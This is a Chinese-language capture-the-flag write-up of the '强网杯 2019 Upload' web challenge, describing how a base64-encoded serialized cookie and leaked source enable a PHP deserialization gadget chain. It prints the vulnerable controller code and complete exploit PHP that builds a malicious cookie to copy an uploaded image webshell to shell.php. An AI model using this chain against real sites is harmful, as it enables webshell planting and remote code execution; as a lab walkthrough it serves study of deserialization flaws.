[强网杯 2019]Upload

0 阅读5分钟

初始分析

有注册接口,那就注册并登陆进去发现让我们上传文件

image-20260225132124444.png

选择上传一个php文件,并尝试绕过,上传成功发现文件名后缀变成png,无法利用,且一个账号只能上穿一次,上传的图片都保存在331f5a2fec4659f9c8cd3a470a780b69目录下image-20260225132242464.png

其他的绕过方法都没用,想路径穿越,试试也不会掉块肉,也失败了

查看此页面数据包image-20260225132404818.png

cookie可能是base64,拿去解密一下

发现结果是序列化后的数据image-20260225132446477.png

那么就会有反序列化

先试试目录扫描

image-20260225132642065.png

扫出了www.tar.gz文件,先查看解码代码,直接搜索"decode"image-20260225132859041.png

也就是说明此题直接接受用户输入的cookie,并且还是序列化数据,验证了猜测,那么可以进行反序列化漏洞检测

对于此题,我们可以分析是否有这三个条件:

1.用户可以控制序列化数据

2.可以上传恶意内容

3.可以对文件进行修改

首先,对cookie进行了修改,发现确实接受了用户输入的cookie(恶意构造的序列化数据产生了报错)

其次,成功上传了包含恶意内容的png文件

那么,我们就要探究,怎么将png文件修改为php,即重命名文件,构造序列化cookie

通过搜索"decode"时发现,反序列化的是解码后的profile变量

那么构造的exp就要输出profile变量的base64编码

以下是php反序列化漏洞触发时通常利用的魔术方法

__destruct() //对象销毁时 最常见的入口点 
__wakeup() //反序列化时 反序列化后立即执行 
__toString() //对象转字符串时 触发其他魔术方法链 
__call() //调用不存在方法时 动态方法调用 
__get() //访问不存在属性时 动态属性访问 
__set() //设置不存在属性时 属性赋值控制 
__isset() //检查属性是否存在时 条件判断绕过 
__unset() //删除属性时 属性操作触发

寻找漏洞代码

通过依次搜索,发现Register.php

public function __destruct()
    {
        if(!$this->registed){ //$registed = false 触发
            $this->checker->index();
        }
    }

Index.php

public function __get($name)
    {
        return "";
    }

直接返回空值,对于本题无用

Profile.php

public function __get($name)
    {
        return $this->except[$name];
    }

    public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }

可以发现,此题有三个魔术方法可以搭配serialize()使用

包含__destruct()方法的Register.php

<?php
namespace app\web\controller;
use think\Controller;

class Register extends Controller
{
    public $checker;
    public $registed;

    public function __construct()
    {
        $this->checker=new Index();
    }

    public function register()
    {
        if ($this->checker) {
            if($this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
                $this->redirect($curr_url,302);
                exit();
            }
        }
        if (!empty(input("post.username")) && !empty(input("post.email")) && !empty(input("post.password"))) {
            $email = input("post.email", "", "addslashes");
            $password = input("post.password", "", "addslashes");
            $username = input("post.username", "", "addslashes");
            if($this->check_email($email)) {
                if (empty(db("user")->where("username", $username)->find()) && empty(db("user")->where("email", $email)->find())) {
                    $user_info = ["email" => $email, "password" => md5($password), "username" => $username];
                    if (db("user")->insert($user_info)) {
                        $this->registed = 1;
                        $this->success('Registed successful!', url('../index'));
                    } else {
                        $this->error('Registed failed!', url('../index'));
                    }
                } else {
                    $this->error('Account already exists!', url('../index'));
                }
            }else{
                $this->error('Email illegal!', url('../index'));
            }
        } else {
            $this->error('Something empty!', url('../index'));
        }
    }

    public function check_email($email){
        $pattern = "/^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,})$/";
        preg_match($pattern, $email, $matches);
        if(empty($matches)){
            return 0;
        }else{
            return 1;
        }
    }

    public function __destruct()
    {
        if(!$this->registed){
            $this->checker->index();
        }
    }


}

包含__call() 、 __get()Profile.php

<?php
namespace app\web\controller;

use think\Controller;

class Profile extends Controller
{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;

    public function __construct()
    {
        $this->checker=new Index();
        $this->upload_menu=md5($_SERVER['REMOTE_ADDR']);
        @chdir("../public/upload");
        if(!is_dir($this->upload_menu)){
            @mkdir($this->upload_menu);
        }
        @chdir($this->upload_menu);
    }

    public function upload_img(){
        if($this->checker){
            if(!$this->checker->login_check()){ //需要登陆
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
                $this->redirect($curr_url,302);
                exit();
            }
        }

        if(!empty($_FILES)){ //不为空
            $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
            $this->filename=md5($_FILES['upload_file']['name']).".png";
            $this->ext_check(); //退出检查
        }
        if($this->ext) {
            if(getimagesize($this->filename_tmp)) {
                @copy($this->filename_tmp, $this->filename); //重命名关键
                @unlink($this->filename_tmp);
                $this->img="../upload/$this->upload_menu/$this->filename"; 
                $this->update_img();
            }else{
                $this->error('Forbidden type!', url('../index'));
            }
        }else{
            $this->error('Unknow file type!', url('../index'));
        }
    }

    public function update_img(){
        $user_info=db('user')->where("ID",$this->checker->profile['ID'])->find();
        if(empty($user_info['img']) && $this->img){
            if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){
                $this->update_cookie();
                $this->success('Upload img successful!', url('../home'));
            }else{
                $this->error('Upload file failed!', url('../index'));
            }
        }
    }

    public function update_cookie(){
        $this->checker->profile['img']=$this->img;
        cookie("user",base64_encode(serialize($this->checker->profile)),3600);
    }

    public function ext_check(){
        $ext_arr=explode(".",$this->filename);
        $this->ext=end($ext_arr);
        if($this->ext=="png"){
            return 1;
        }else{
            return 0;
        }
    }

    public function __get($name)
    {
        return $this->except[$name];
    }

    public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }

}

构造EXP

将这两个类的公共变量复制过来

<?php

namespace app\web\controller; //命名空间,反序列化时寻找此空间的类,避免类冲突

class Profile //Profile{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;
}
class Register
{
    public $checker;
    public $registed;
}

创建一个Register对象,设置$registed = false$checker为一个Profile对象。

Register对象被销毁时,触发__destruct(),调用$this->checker->index()

由于Profile类没有index()方法,触发__call('index')

__call()中,会检查$this->index属性。由于$index属性不存在,触发__get('index'),返回$this->except['index']的值(可控)。

如果$this->except['index']设置为字符串"upload_img",则$this->{$this->index}变为$this->upload_img,从而调用upload_img()方法。

upload_img()方法中,如果绕过登录和文件检查,可以控制$this->filename_tmp$this->filename,实现任意文件复制(写入)。

upload_img()方法中检查$this->checker->login_check()。由于反序列化时不执行构造函数,可以设置$this->checkernull,使if($this->checker)false,跳过登录检查。

$profile = new Profile();
$profile->checker = null; //绕过登录检查
$profile->filename_tmp = "/tmp/shell.jpg"; //图片路径
$profile->filename = "shell.php"; //目标文件名
$profile->upload_menu = "."; //上传目录
$profile->ext = 1; //绕过$this->ext 检查
$profile->img = "";
$profile->except = array("index" => "upload_img"); //触发 __call 后调用 upload_img
$register = new Register();
$register->registed = false; //触发 __destruct
$register->checker = $profile; //指向 Profile 对象
echo urlencode(base64_encode(serialize($register)));

关键绕过点

  • 登录检查:upload_img()方法中检查$this->checker->login_check()。由于反序列化时不执行构造函数,可以设置$this->checkernull,使if($this->checker)false,跳过登录检查。
  • 文件上传检查:upload_img()if(!empty($_FILES))检查超全局变量$_FILES,反序列化时不可控。但可以通过设置$this->ext为非空值(如1),直接进入if($this->ext)分支,绕过$_FILES检查。
  • 图片验证:getimagesize($this->filename_tmp)需要$this->filename_tmp是一个有效的图片文件。因此,需要准备一个图片马(如图片头部包含PHP代码)。
  • 扩展名检查:ext_check()方法只在$_FILES不为空时调用,由于绕过$_FILES检查,不会执行,因此$this->filename可设置为任意扩展名(如.php)。

最终EXP:

<?php
namespace app\web\controller;

class Register {
    public $checker;
    public $registed;
}
class Profile {
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;
}
$profile = new Profile();
$profile->checker = null; //绕过登录检查
$profile->filename_tmp = "./upload/1e833b2b9e905399ad5c0640a03817c1/d2b5ca33bd970f64a6301fa75ae2eb22.png"; //图片马路径
$profile->filename = "shell.php"; //目标文件名
$profile->upload_menu = "."; //上传目录(可任意)
$profile->ext = 1; //绕过 $this->ext 检查
$profile->img = "";
$profile->except = array("index" => "upload_img"); //触发 __call 后调用 upload_img
$register = new Register();
$register->registed = false; //触发 __destruct
$register->checker = $profile; //指向 Profile 对象
$payload = serialize($register);
echo urlencode(base64_encode($payload)); //编码
?>

本地或在线运行代码生成EXP

EXP利用

image-20260225133508852.pngimage-20260225133749994.png

将生成的payload输入进去保存即可,然后刷新页面

upload目录:"http://web.com/upload/"

Profile所在目录:http://web.com/Profile.php(因为在web路径上Profile.php与Index.php在同一目录)

即执行反序列化时,Profile.php以自身为起点搜索图片路径,而upload目录在web路径上也跟Profile.php在同一路径

所以图片路径:"./upload/1e833b2b9e905399ad5c0640a03817c1/d2b5ca33bd970f64a6301fa75ae2eb22.png"

所以upload_manu = ".",那么将在http://web.com/下访问到shell.php

http://web.com/shell.phpimage-20260225134218149.pngimage-20260225134306778.png